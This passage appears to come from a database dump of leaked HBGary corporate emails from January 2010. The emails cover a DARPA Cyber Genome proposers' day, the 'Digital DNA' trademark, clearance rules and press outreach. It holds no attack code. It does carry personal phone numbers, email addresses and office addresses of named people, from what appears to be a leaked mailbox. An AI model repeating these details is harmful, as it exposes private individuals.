Genome.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAccording to the info we can send up to 3 people and have to\r\nregister by Jan 27.&nbsp; Let\'s figure out what we want to do.\r\n\r\n\r\n\r\n\r\n\r\n\r\nSolicitation Number: DARPA-SN-10-22\r\nAgency: Other Defense Agencies\r\nOffice: Defense Advanced Research Projects Agency\r\nLocation: Contracts Management Office\r\n\r\nhttps://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=0efff97ec44aada63117f050bc43d86f&amp;tab=core&amp;_cview=0\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mon, Jan 25, 2010 at 9:24 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n\r\nHi Rich, Phil &amp; Bob,\r\n\r\nAaron would like to attend, but has meetings scheduled with Senior VPs\r\nat NG and TASC. &nbsp;Would either of you Rich, Phil or Bob be able to\r\nattend?\r\n\r\nTed\r\n\r\n\r\n\r\nCyber Genome Program Proposers\' Day\r\nSolicitation Number: DARPA-SN-10-22\r\nAgency: Other Defense Agencies\r\nOffice: Defense Advanced Research Projects Agency\r\nLocation: Contracts Management Office\r\n\r\nhttps://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=0efff97ec44aada63117f050bc43d86f&amp;tab=core&amp;_cview=0\r\n\r\nSynopsis:\r\nAdded: Jan 25, 2010 3:59 pm\r\nPROPOSERS\' DAY CONFERENCE\r\nDARPA will host a Proposers\' Day Workshop in support of\r\nDARPA-BAA-10-36, CYBER GENOME PROGRAM on January 29, 2010 at the\r\nBallston Hilton, 950 North Stafford Street, Arlington, VA 22203 from\r\n8:00 a.m. to 6:00 p.m. EST. The purpose of this conference is to\r\nprovide information on the CYBER GENOME PROGRAM; promote additional\r\ndiscussion on this topic; address questions from potential proposers;\r\nand provide a forum for potential proposers to present their\r\ncapabilities for teaming opportunities.\r\nA second Proposers\' Day Workshop will be held on February 8, 2010.\r\nLocation will be in the Arlington, Virginia area and will be announced\r\non the Proposers\' Day website (http://safe.sysplan.com/sto/).\r\n\r\n\r\nPROGRAM OBJECTIVE AND DESCRIPTION:\r\nThe objective of the Cyber Genome Program is to produce revolutionary\r\ncyber defense and investigatory technologies for the collection,\r\nidentification, characterization, and presentation of properties and\r\nrelationships from collected digital artifacts of software, data,\r\nand/or users to support DoD law enforcement, counter intelligence, and\r\ncyber defense teams. Digital artifacts may be collected from live\r\nsystems (traditional computers, personal digital assistants, and/or\r\ndistributed information systems such as &#8216;cloud computers\'), from wired\r\nor wireless networks, or collected storage media. The format may\r\ninclude electronic documents or software (to include malicious\r\nsoftware - malware). The Cyber Genome Program will encompass several\r\nprogram phases and technical areas of interest. Each of the technical\r\nareas will develop the cyber equivalent of fingerprints or DNA to\r\nfacilitate developing the digital equivalent of genotype, as well as\r\nobserved and inferred phenotype in order to determine the identity,\r\nlineage, and provenance of digital artifacts and users.\r\n\r\n\r\nREGISTRATION INFORMATION Participants must register for the CYBER\r\nGENOME PROGRAM Proposers\' Day no later than 5:00 p.m. EST on January\r\n27, 2010, at the following website: http://safe.sysplan.com/sto/.\r\nAttendance will be limited to a maximum of three individuals per\r\norganization. The Proposers\' Day is intended for participants from\r\nindustry and academia; it is not intended for parties who are not\r\ninterested in bidding or participating on a bidding team, e.g. the\r\npublic or members of the press. Government attendees will be invited\r\nseparately. Organizations interested in participating in the program\r\nwho are not able to attend the Proposers\' Day, may still register on\r\nthe teaming website: http://www.davincinetbook.com/teams.\r\n\r\n\r\nAttendance is restricted to U.S. Citizens only. Attendees are required\r\nto submit a U.S. Citizenship Verification form in order to attend this\r\nconference. The completed Citizenship Form must be emailed to:\r\nDARPA-BAA-10-36@darpa.mil no\r\nlater than 5:00 p.m. EST January 27,\r\n2010. The Citizenship Form is available for download at the\r\nregistration website. Attendees will be required to present government\r\nissued photo identification upon entry to the event. Attendance is not\r\nrequired to propose to any associated BAA.\r\n\r\n\r\nAdditionally, attendees who would like to present company overviews,\r\ndiscuss their technology expertise, and/or discuss teaming\r\nopportunities in scheduled presentations at the conference may request\r\nto do so. Presentations may contain 5 slides and are limited to\r\nfifteen (15) minutes each (including logistical issues). Proposers\r\ndesiring to reserve a time to present at the Proposers\' Day Conference\r\nshould contact DARPA-BAA-10-36@darpa.mil\r\nas soon as possible, but no\r\nlater than the registration cutoff date for the Proposers\' Day\r\nConference.\r\n\r\n\r\nAll material to be displayed at the conference must be approved in\r\nadvance by both the organization that funded the research and the\r\nDARPA Program Manager. The DARPA Program Manager will screen the\r\nproposed material for sensitive but unclassified material and approve\r\nin advance any presentations. It is the presenter\'s responsibility to\r\nensure that all material they plan to present at the Proposers\' Day\r\nConference has been approved by the funding organization in advance.\r\n\r\n\r\nAfter the conference, there will be an opportunity to meet\r\nindividually with Dr. Michael VanPutte, the Cyber Genome Program\r\nManager. Please contact Larry Blankenship at\r\nlarry.blankenship.ctr@darpa.mil\r\nto schedule an individual session.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nContracting Office Address:\r\n3701 North Fairfax Drive\r\nArlington, Virginia 22203-1714\r\nPrimary Point of Contact.:\r\nBAA Coordinator,\r\nBAA Coordinator\r\nDARPA-BAA-10-36@darpa.mil\r\n\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal, Inc.\r\n719-237-8623\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2313,'aaron_hbgary_com/2313.html'),(1529,'2010-01-26','\"Balenson, David\" <David.Balenson@cobham.com>','/aaron@hbgary.com/new/1297000459.M586388P3547Q1529.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Introductions','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron-\r\n\r\n&nbsp;\r\n\r\nPlease give me a call at 443-430-8004.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThanks,\r\n\r\n-DB\r\n\r\n&nbsp;\r\n\r\n------------------------------------------------------------------------------------------------\r\n\r\nDavid M. Balenson, Division Manager, Security Research\r\n\r\nSPARTA National Security Sector\r\n\r\nCobham Analytic Solutions\r\n\r\nTel: 443.430.8004\r\n\r\nFax: 443.430.8153\r\n\r\nEmail: David.Balenson@cobham.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, January 26, 2010 11:23 AM\r\nTo: Balenson, David\r\nSubject: Introductions\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Dave,\r\n\r\n\r\n\r\nI would like to talk to you about our similar\r\ninterest in the NWOC BAA. As well I would be interested in getting an update on\r\nyour capabilities and likewise get you familiar with ours. I received a\r\nbriefing more than an year back when I was leading the technical strategy for\r\nNorthrop Grummans cyber campaign. I remember being impressed by your amount of\r\nIP related to cybersecurity. \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16319,'aaron_hbgary_com/16319.html'),(1530,'2010-01-26','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297000459.M806852P3547Q1530.eml','\"Barr Aaron\" <aaron@hbgary.com>','Bumped','To 4:00 on Tues with TASC\r\n\r\n\r\n',9592,'aaron_hbgary_com/9592.html'),(1531,'2010-01-26','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297000460.M297941P3547Q1531.eml','all@hbgary.com,all@hbgary.com','HBGary to Support President Obama CTO Council','HBGary has been awarded Best of 2009 Tech Leader for the GTRA and will be included in the beta group for supporting President Obama CTO Council initiatives.\r\n \r\nhttp://markets.hpcwire.com/freelunch/news/read?GUID=11529892\r\n \r\nLinked on front page.  Man, the news is flowing today.\r\n \r\n-Greg\r\n',15034,'aaron_hbgary_com/15034.html'),(1532,'2010-01-26','agrosvenor@sysplan.com','/aaron@hbgary.com/new/1297000463.M593723P3547Q1532.eml','aaron@hbgary.com','Confirmation for Feb - DARPA\'s Cyber Genome Proposer Day Conference','This is a confirmation notice for your registration to attend the \r\nFeb - DARPA\'s Cyber Genome Proposer Day Conference.  Details of your registration appear below.\r\n\r\nThank You,   for using the\r\n secure online registration form\r\n\r\n***************************************************************************\r\n*                              Feb - DARPA\'s Cyber Genome Proposer Day Conference \r\n*                              Registration Form\r\n*                              SN# 1262010172236\r\n***************************************************************************\r\n___________________________________________________________________________\r\nPersonal Information\r\n	 CEO Aaron Barr\r\n	 HBGary Federal\r\n	 3604 Fair Oaks Blvd\r\n	 Building B, Suite 250\r\n	 Sacramento, CA 95864\r\nPhone:	 916-459-4727 ext 117\r\nFax:	 916-481-1460\r\nEmail:	 aaron@hbgary.com\r\n\r\nName Tag Information:\r\n	Aaron Barr\r\n	HBGary Federal\r\n\r\n\r\n___________________________________________________________________________\r\n\r\n___________________________________________________________________________\r\nA T T E N D A N C E \r\n___________________________________________________________________________\r\n\r\n___________________________________________________________________________\r\nE L E C T I O N S \r\n___________________________________________________________________________\r\n\r\n		    \r\n		    \r\n		    \r\n		    \r\n		    \r\n		    \r\n		    \r\n		    \r\n		    \r\n		    \r\n		    \r\n		    \r\n		    \r\n		    \r\n		    \r\n		    \r\n		    \r\n		    \r\n		    \r\n		    \r\n		    \r\n		    Special Diet: Vegetarian \r\n		    \r\n		    Attendees: 1 \r\n		    \r\n		    \r\n		    \r\n\r\n___________________________________________________________________________\r\n\r\nThank you for using our online service:\r\n\r\nAnne Grosvenor at 703-351-8794\r\n\r\nagrosvenor@sysplan.com\r\n',10126,'aaron_hbgary_com/10126.html'),(1533,'2010-01-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000464.M518821P3547Q1533.eml','\"Aaron Barr\" <aaron@hbgary.com>','Registration','You\'re registered for Feb 9th.\r\n\r\n',9828,'aaron_hbgary_com/9828.html'),(1534,'2010-01-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000464.M729624P3547Q1534.eml','all@hbgary.com','Fwd: HBGary in Sacramento?','Hi All,I received the message below from a former colleague of mine from Northrop Grumman, Kevin Spease. &nbsp;He\'s now the President of the Sacramento Valley Information Systems Security Assoc. &nbsp;Please let me know if there is any interest in presenting/demo\'ing at a chapter meeting and we can set it up through Kevin. &nbsp;Our local ISSA Colorado Springs Chapter is very active, and we usually have a large turn-out of attendees, many of whom are Gov\'t employees.Regards,TedBegin forwarded message:From: Kevin Spease &lt;Kevin.Spease@isse-services.com&gt;Date: January 26, 2010 2:22:55 PM MSTTo: tedvera@mac.comSubject: HBGary in Sacramento?Reply-To: Kevin.Spease@isse-services.comTed.HBGary is headquartered in Sacramento?I\'m the President of ISSA-Sacramento Valley (I moved to Sacramento, from Utah, obviously).&nbsp; If you guys would be interested in presenting at a chapter meeting some time, let me know and I\'ll get you in touch with our programs manager.\r\nTake care.Kevin\r\n\r\n\r\n\r\n',4171,'aaron_hbgary_com/4171.html'),(1535,'2010-01-26','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297000464.M941893P3547Q1535.eml','\"Ted Vera\" <ted@hbgary.com>,all@hbgary.com','RE: HBGary in Sacramento?','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nSure we&#8217;ll do that, not a problem.&nbsp; When are the meetings?&nbsp; Monthly?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Tuesday, January 26, 2010 2:34 PM\r\nTo: all@hbgary.com\r\nSubject: Fwd: HBGary in Sacramento?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi All,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI received the message below from a former colleague of mine\r\nfrom Northrop Grumman, Kevin Spease. &nbsp;He\'s now the President of the\r\nSacramento Valley Information Systems Security Assoc. &nbsp;Please let me know\r\nif there is any interest in presenting/demo\'ing at a chapter meeting and we can\r\nset it up through Kevin. &nbsp;Our local ISSA Colorado Springs Chapter is very\r\nactive, and we usually have a large turn-out of attendees, many of whom are\r\nGov\'t employees.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nKevin\r\nSpease &lt;Kevin.Spease@isse-services.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nDate:\r\nJanuary\r\n26, 2010 2:22:55 PM MST\r\n\r\n\r\n\r\n\r\n\r\nTo:\r\ntedvera@mac.com\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nHBGary in Sacramento?\r\n\r\n\r\n\r\n\r\n\r\nReply-To:\r\nKevin.Spease@isse-services.com\r\n\r\n\r\n\r\n\r\nTed.\r\n\r\nHBGary is headquartered in Sacramento?\r\n\r\nI\'m the President of ISSA-Sacramento Valley (I moved to Sacramento, from Utah,\r\nobviously).&nbsp; If you guys would be interested in presenting at a chapter\r\nmeeting some time, let me know and I\'ll get you in touch with our programs\r\nmanager.\r\n\r\nTake care.\r\nKevin\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4136,'aaron_hbgary_com/4136.html'),(1536,'2010-01-26','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297000465.M115931P3547Q1536.eml','\"Martin Pillion\" <martin@hbgary.com>,\"Martin Pillion\" <martin@hbgary.com>','Re: Digital DNA','Has HBGary copyrighted the term &quot;Digital DNA&quot;?\r\n \r\n \r\nOn Tue, Jan 26, 2010 at 3:03 PM, Martin Pillion &lt;martin@hbgary.com&gt; wrote:\r\nLooks like our term is being reused, though I&#39;m pretty sure we didn&#39;tinvent it.http://www.wired.com/dangerroom/2010/01/pentagon-searches-for-digital-dna-to-identify-hackers\r\n- Martin-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n',3516,'aaron_hbgary_com/3516.html'),(1537,'2010-01-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000465.M444905P3547Q1537.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','DARPA Registration','Greg, Aaron, Bob, & Rich,\r\n\r\nAs most of you are aware, this Friday\'s Cyber Genome Proposers day is fully booked.  A second Proposers day is scheduled for Feb 9th.  In order to ensure HBGary and Federal can attend, I registered each of you (and myself) for the Proposers Day on Feb 9th.  \r\n\r\nYou should receive an email confirmation from DARPA, if you do not receive one please let me know.\r\n\r\nTed\r\n\r\nTed H. Vera\r\nPresident | COO\r\nHB Gary Federal\r\nted@hbgary.com\r\nOffice:  916-459-4727 ext 118\r\nCell:  719-237-8623\r\n\r\n\r\n\r\n',13496,'aaron_hbgary_com/13496.html'),(1538,'2010-01-26','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297000465.M628407P3547Q1538.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nFor everyone asking me about this,\r\nhere is the info directly from the attorney.&nbsp; I have submitted info to attorney\r\nof Website, datasheet and greg is doing CD cover for me\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n===================================================================================\r\n\r\n&nbsp;It was a pleasure speaking with you\r\nlast Thursday. I look forward to working with you on your trademark matters. We\r\ndiscussed several of your trademark matters and action items resulting from\r\neach, which I summarize below: \r\n\r\nA. Office Action for DIGITAL DNA.\r\n(Response due 3/16/2010.) There were two technical remarks raised by the\r\nExamining Attorney in the Office Action: \r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nRequirement to disclaimer of &#8220;DIGITAL&#8221;. Accepted. \r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSubstitute Specimen. I reviewed the image of the CD cover for your\r\nsoftware product. A CD cover is an appropriate specimen, however, your cover\r\nshows &#8220;2010&#8221; in the copyright notice. The substitute specimen must\r\nhave been &#8220;in use in commerce at least as early as the filing date of the\r\napplication.&#8221; Since you filed the application on June 17, 2009, it is\r\nlikely that the USPTO will reject the specimen claiming that it does not\r\nsatisfy the date requirement. \r\n\r\n&nbsp;\r\n\r\nPlease\r\nsubmit a CD cover or other label, tag, instruction manuals, or samples of\r\npackaging for the software that was in use at least as early as June 17, 2009. \r\n\r\nYou have instructed me to proceed with preparation and filing of\r\nthe Response once the appropriate data has been collected.\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2287,'aaron_hbgary_com/2287.html'),(1539,'2010-01-26','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297000465.M937693P3547Q1539.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,','Re: Digital DNA','Yes, we have the trademark.  I am updating the website as we speak, per Penny&#39;s request.\r\n \r\n-Greg\r\nOn Tue, Jan 26, 2010 at 2:59 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\nHas HBGary copyrighted the term &quot;Digital DNA&quot;?\r\n\r\n\r\n\r\n \r\n \r\nOn Tue, Jan 26, 2010 at 3:03 PM, Martin Pillion &lt;martin@hbgary.com&gt; wrote:\r\nLooks like our term is being reused, though I&#39;m pretty sure we didn&#39;tinvent it.http://www.wired.com/dangerroom/2010/01/pentagon-searches-for-digital-dna-to-identify-hackers\r\n- Martin-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n\r\n',12601,'aaron_hbgary_com/12601.html'),(1540,'2010-01-26','\"Ted Vera\" <tedvera@mac.com>','/aaron@hbgary.com/new/1297000466.M161111P3547Q1540.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: DARPA Registration','There are two small details that we\'ll need to figure out soon and take action on.  \r\n\r\n1.  I registered HBGary to present at the conference.  We need to send DARPA our 5 charts for review.\r\n2.  I requested an individual session with the DARPA PM, to give us some one-on-one time to ask questions, etc.  I will let you know what time slot we are allocated.  Bring your ideas and especially any questions that you\'d rather ask in private vs. in front of all attendees.\r\n\r\nTed\r\n\r\n\r\nOn Jan 26, 2010, at 4:03 PM, Ted Vera wrote:\r\n\r\n> Greg, Aaron, Bob, & Rich,\r\n> \r\n> As most of you are aware, this Friday\'s Cyber Genome Proposers day is fully booked.  A second Proposers day is scheduled for Feb 9th.  In order to ensure HBGary and Federal can attend, I registered each of you (and myself) for the Proposers Day on Feb 9th.  \r\n> \r\n> You should receive an email confirmation from DARPA, if you do not receive one please let me know.\r\n> \r\n> Ted\r\n> \r\n> Ted H. Vera\r\n> President | COO\r\n> HB Gary Federal\r\n> ted@hbgary.com\r\n> Office:  916-459-4727 ext 118\r\n> Cell:  719-237-8623\r\n> \r\n> \r\n> \r\n\r\n',9719,'aaron_hbgary_com/9719.html'),(1541,'2010-01-26','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297000466.M368868P3547Q1541.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','DARPA','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nBob,\r\n\r\n&nbsp;\r\n\r\nWho have we talked to over at DARPA?&nbsp; Also, wasn&#8217;t\r\nthat guy from NY who wanted to get money for AD with Darpa?&nbsp; What we done any\r\nconsulting work with Sparta?\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2540,'aaron_hbgary_com/2540.html'),(1542,'2010-01-26','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297000466.M596864P3547Q1542.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,,','Re: DARPA','I&#39;m short on time right now.  PMs at DARPA we&#39;ve dealt with.\r\nBrian Hearing - PM for the rootkit contract\r\nJason Syversen - He left DARPA recently\r\nRay Nowell - NSA guy who moved to DARPA\r\n \r\nThe other DARPA people who are s/w customers are for their internal networks.\r\n \r\nGuy from NY?  I need you to jog my memory more.\r\n \r\nConsulting for Sparta was all Jamie doing classified kernel work.\r\n \r\nI&#39;ll be in my car around 6:55pm.  I&#39;ll call you then.\r\n \r\n \r\nOn Tue, Jan 26, 2010 at 6:21 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nBob,\r\n \r\nWho have we talked to over at DARPA?  Also, wasn’t that guy from NY who wanted to get money for AD with Darpa?  What we done any consulting work with Sparta?\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n',15008,'aaron_hbgary_com/15008.html'),(1543,'2010-01-26','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297000466.M784720P3547Q1543.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,,','RE: DARPA','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nOK sounds good. Not sure guy was DARPA, it&#8217;s alphabet soup.&nbsp; We&#8217;ll\r\ntalk later.&nbsp; Any of darpa people using ddna?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Tuesday, January 26, 2010 3:34 PM\r\nTo: Penny Leavy-Hoglund\r\nCc: Ted Vera; Barr Aaron; Rich Cummings\r\nSubject: Re: DARPA\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nI\'m short on time right now.&nbsp; PMs at DARPA we\'ve dealt\r\nwith.\r\n\r\n\r\n\r\n\r\n\r\nBrian Hearing - PM for the rootkit contract\r\n\r\n\r\n\r\n\r\n\r\nJason Syversen - He left DARPA recently\r\n\r\n\r\n\r\n\r\n\r\nRay Nowell - NSA guy who moved to DARPA\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThe other DARPA people&nbsp;who are s/w customers are for\r\ntheir internal networks.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nGuy from NY?&nbsp; I need you to jog my memory more.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nConsulting for Sparta was all Jamie doing classified kernel\r\nwork.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI\'ll be in my car around 6:55pm.&nbsp; I\'ll call you then.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Tue, Jan 26, 2010 at 6:21 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nBob,\r\n\r\n&nbsp;\r\n\r\nWho\r\nhave we talked to over at DARPA?&nbsp; Also, wasn&#8217;t that guy from NY who wanted\r\nto get money for AD with Darpa?&nbsp; What we done any consulting work with\r\nSparta?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nBob Slapnik\r\nVice President\r\nHBGary, Inc.\r\n301-652-8885 x104\r\nbob@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3614,'aaron_hbgary_com/3614.html'),(1544,'2010-01-27','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000467.M50492P3547Q1544.eml','\"Penny Leavy\" <penny@hbgary.com>','Key Mgmt Personnel','Penny,Below are the relevant paragraphs as we discussed earlier. &nbsp;More information can be found here: &nbsp;https://www.dss.mil/GW/ShowBinary/DSS/isp/fac_clear/fac_clear_check.html\"Key Management Personnel List.&nbsp;The senior management official, the prospective Facility Security Officer (FSO), all executive committee members, and all board members including the Chairman should be listed.&nbsp; NISPOM paragraph 2-104 provides some guidance, and additional guidance will be provided by your Industrial Security Representative during the first visit.Personnel Security Clearance:&nbsp; In order for your company to be cleared, specified Key Management Personnel (KMP) must be cleared.&nbsp; Other KMP may be excluded, unless they will require access to classified information.&nbsp; Your Defense Security Service Industrial Security Representative will help you identify those that must be cleared and those that may be excluded.&nbsp; This must be done as soon as possible!\"NISPOM2-104. Personnel Clearances Required in Connection with the FCL.\r\n\r\nThe senior management official and the FSO must always be cleared\r\nto the level of the FCL. Other officials, as determined by the CSA,\r\nmust be granted a PCL or be excluded from classified access\r\npursuant to paragraph 2-106.2-106. Exclusion Procedures.\r\nWhen, pursuant to paragraph 2-104, formal exclusion action is\r\nrequired, the organization\'s board of directors or similar\r\nexecutive body shall affirm the following, as appropriate.\r\n\r\n a.  Such officers, directors, partners, regents, or trustees\r\n(designated by name) shall not require, shall not have, and can be\r\neffectively excluded from access to all classified information\r\ndisclosed to the organization. They also do not occupy positions\r\nthat would enable them to adversely affect the organization\'s\r\npolicies or practices in the performance of classified contracts.\r\nThis action shall be made a matter of record by the organization\'s\r\nexecutive body. A copy of the resolution shall be furnished to the\r\nCSA.\r\n \r\nb.   Such officers or partners (designated by name) shall not\r\nrequire, shall not have, and can be effectively denied access to\r\nhigher-level classified information (specify which higher level(s))\r\nand do not occupy positions that would enable them to adversely\r\naffect the organization\'s policies or practices in the performance\r\nof higher-level classified contracts (specify higher level(s)).\r\nThis action shall be made a matter of record by the organization\'s\r\nexecutive body. A copy of the resolution shall be furnished to the\r\nCSA.Ted\r\nTed H. VeraPresident | COOHB Gary Federalted@hbgary.comOffice: &nbsp;916-459-4727 ext 118Cell: &nbsp;719-237-8623\r\n\r\n',11918,'aaron_hbgary_com/11918.html'),(1545,'2010-01-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000467.M613358P3547Q1545.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>,\"Karen Burke\" <karenmaryburke@yahoo.com>,','Re: Pentagon Searches for ‘Digital DNA’ to Identify Hackers','Karen,Palantir is on board.  Go ahead and set up the interview.I would like to mention this to the wired guy as well and talk about HBGary working on the bigger threat intelligence problem.\r\nAaronFrom my iPhoneOn Jan 26, 2010, at 12:27 PM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\nHi Aaron, I already spoke with reporter Brian Krebs and he is interested in the story. I sent  him the Wired piece and our Palantir announcement, which is a great news hook. That said, I will pitch our other key security/government pubs. Aside from our ability to ID hackers, anything else that will help advance this story -- are you finding that this is an increasingly important technology ability for government agencies? Do we work with the Pentagon? Thanks, Karen\r\n--- On Tue, 1/26/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Pentagon Searches for ‘Digital DNA’ to Identify Hackers\r\nTo: &quot;Karen Burke&quot; &lt;karenmaryburke@yahoo.com&gt;Cc: penny@hbgary.com, greg@hbgary.com\r\nDate: Tuesday, January 26, 2010, 8:09 AM\r\nIs it possible to get in with Wired for an interview talking about our existing capabilities?  how do we leverage this?\r\n\r\nAaron\r\n\r\n\r\n\r\nOn Jan 26, 2010, at 10:58 AM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\nTake a look at this story in today&#39;s Wired -- do you work with DARPA? Are you familiar with its Cyber Genome project? Can HBGary&#39;s Digital DNA already solve this problem?\r\n \r\n\r\nPentagon Searches for ‘Digital DNA’ to Identify Hackers\r\nhttp://www.wired.com/dangerroom/2010/01/pentagon-searches-for-digital-dna-to-identify-hackers/\r\n\r\n \r\n\r\nAaron 